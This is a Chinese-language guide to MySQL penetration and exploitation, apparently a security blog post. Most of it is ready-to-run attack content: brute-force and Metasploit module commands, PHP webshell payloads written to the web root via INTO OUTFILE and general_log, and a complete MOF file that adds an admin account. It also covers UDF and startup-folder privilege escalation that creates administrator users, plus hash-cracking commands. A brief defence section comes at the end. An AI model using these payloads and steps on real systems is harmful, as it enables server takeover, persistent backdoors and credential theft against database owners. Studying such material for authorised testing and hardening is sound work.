Mysql数据库渗透及漏洞利用总结
字数 1661 2025-08-29 08:32:00
MySQL数据库渗透及漏洞利用全面指南
1. MySQL信息收集
1.1 端口信息收集
- MySQL默认端口:3306
- 扫描工具:
- IISputter:直接填写3306端口扫描
- Nmap:
nmap -p 3306 192.168.1.1-254 - 全端口扫描:
nmap -p- 192.168.1.1
1.2 版本信息收集
-
使用Metasploit:
use auxiliary/scanner/mysql/mysql_version set rhosts 192.168.157.130 run -
MySQL查询:
SELECT @@version; SELECT version(); -
使用SQLMap:
sqlmap.py -u url --dbms mysql -
phpMyAdmin:
登录后查看localhost->变量->服务器变量和设置中的version参数值
1.3 数据库管理信息收集
- 常见管理工具:phpMyAdmin、Navicat for MySQL、MySQLFront
- 配置文件可能包含数据库连接信息,如:
config.phpweb.configconn.aspdb.php/aspjdbc.properties
1.4 MSF信息收集模块
-
MySQL哈希值枚举:
use auxiliary/scanner/mysql/mysql_hashdump set username root set password root run -
数据库枚举:
use auxiliary/admin/mysql/mysql_enum set username root set password root run -
执行SQL语句:
use auxiliary/admin/mysql/mysql_sql -
导出数据库结构:
use auxiliary/scanner/mysql/mysql_schemadump
2. MySQL密码获取
2.1 暴力破解
-
网页在线破解:
- 使用BurpSuite
- phpMyAdmin多线程批量破解工具
-
MSF暴力破解:
use auxiliary/scanner/mysql/mysql_login set RHOSTS 192.168.157.1-254 set pass_file /tmp/password.txt set username root run -
Nmap扫描破解:
nmap --script=mysql-brute 192.168.157.130 nmap --script=mysql-empty-password 192.168.195.130 -
Hscan工具:
设置IP段、用户名字典和密码字典进行扫描
2.2 源代码泄露
-
网站备份文件:
- 查找
config.php、web.config等配置文件 - 使用工具扫描
.zip、.rar、.sql等备份文件
- 查找
-
配置备份文件:
- 编辑器生成的
.bak文件 - 版本控制文件如
.git、.svn
- 编辑器生成的
2.3 文件包含
通过本地文件包含漏洞读取数据库配置文件:
<?php include($_GET['file']); ?>
访问:http://example.com/vuln.php?file=../../config.php
2.4 其他方式
- 网络嗅探工具如Cain
- 客户端连接记录
- 内存提取
3. MySQL获取Webshell
3.1 phpMyAdmin获取Webshell
-
直接导出后门:
SELECT '<?php @eval($_POST[antian365]);?>' INTO OUTFILE '/var/www/html/shell.php' -
通过表导出:
CREATE TABLE `mysql`.`antian365` (`temp` TEXT NOTNULL); INSERT INTO `mysql`.`antian365` (`temp`) VALUES('<?php @eval($_POST[antian365]);?>'); SELECT `temp` FROM `antian365` INTO OUTFILE '/var/www/html/shell.php'; DROP TABLE IF EXISTS `antian365`; -
命令执行方式:
SELECT '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\';?>' INTO OUTFILE '/var/www/html/cmd.php' -
加密Webshell:
SELECT unhex('十六进制字符串') INTO DUMPFILE '/var/www/html/shell.php' -
general_log_file方法:
SET global general_log='on'; SET global general_log_file='/var/www/html/shell.php'; SELECT '<?php $_GET["cmd"];?>';
3.2 SQLMap获取Webshell
sqlmap -u url --os-shell
echo "<?php @eval($_POST['c']);?>" > /data/www/1.php
4. MySQL提权技术
4.1 MOF提权
-
生成nullevt.mof文件:
#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent Where TargetInstance Isa \"Win32_LocalTime\" And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; }; -
导入MOF文件:
SELECT LOAD_FILE('C:\\RECYCLER\\nullevt.mof') INTO DUMPFILE 'c:/windows/system32/wbem/mof/nullevt.mof' -
MSF模块:
use exploit/windows/mysql/mysql_mof set rhost 192.168.157.1 set rport 3306 set password root set username root run
4.2 UDF提权
-
条件检查:
SELECT version(); -- 获取版本 SELECT @@basedir; -- 安装目录 SHOW VARIABLES LIKE '%plugin%'; -- 插件目录 -
创建目录(MySQL 5.1+):
SELECT 'It is dll' INTO DUMPFILE 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; SELECT 'It is dll' INTO DUMPFILE 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; -
导出DLL:
SELECT unhex('DLL十六进制') INTO DUMPFILE 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin\\udf.dll' -
创建函数:
CREATE FUNCTION cmdshell RETURNS STRING SONAME 'udf.dll'; -
执行命令:
SELECT cmdshell('net user antian365 Password123! /add'); SELECT cmdshell('net localgroup administrators antian365 /add'); -
清理痕迹:
DROP FUNCTION cmdshell;
4.3 启动项提权
-
创建表并插入命令:
CREATE TABLE a (cmd text); INSERT INTO a VALUES ("net user antian365 Password123! /add"); INSERT INTO a VALUES ("net localgroup administrators antian365 /add"); -
导出到启动项:
SELECT * FROM a INTO OUTFILE 'C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\a.bat'; -
MSF模块:
use exploit/windows/mysql/mysql_start_up set rhost 192.168.2.1 set rport 3306 set username root set password 123456 run
5. MySQL密码破解
5.1 Cain工具破解
- 从
user.MYD文件中提取40位SHA1哈希 - 使用Cain的Cracker模块添加哈希进行破解
5.2 在线破解
- cmd5.com(收费)
- somd5.com(免费但有限制)
5.3 Hashcat破解
hashcat64.exe -m 200 mysql.hash pass.dict # MySQL323
hashcat64.exe -m 300 mysql.hash pass.dict # MySQL4.1/5.x
5.4 John the Ripper
echo "81F5E21E35407D884A6CD4A731AEBFB6AF209E1B" > hashes.txt
john --format=mysql-sha1 hashes.txt
6. 其他漏洞利用
6.1 MySQL身份认证漏洞(CVE-2012-2122)
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
6.2 MSF其他模块
use exploit/windows/mysql/mysql_yassl_hello
use exploit/windows/mysql/scrutinizer_upload_exec
7. 防御建议
-
最小权限原则:
- 为应用分配最小必要权限
- 避免使用root账户连接
-
安全配置:
- 设置
secure-file-priv限制文件导出 - 禁用
LOAD_FILE和INTO OUTFILE功能 - 限制远程连接
- 设置
-
密码安全:
- 使用强密码策略
- 定期更换密码
- 避免密码重用
-
日志监控:
- 启用MySQL审计日志
- 监控异常查询行为
-
补丁更新:
- 及时应用安全补丁
- 升级到最新稳定版本
-
网络防护:
- 防火墙限制3306端口访问
- 使用VPN或SSH隧道访问
-
文件权限:
- 限制插件目录写入权限
- 检查启动项目录权限
-
安全审计:
- 定期进行渗透测试
- 检查UDF函数和存储过程
通过以上全面的MySQL渗透测试技术,安全人员可以有效地评估MySQL数据库的安全性,同时管理员也可以根据这些技术加强数据库的安全防护。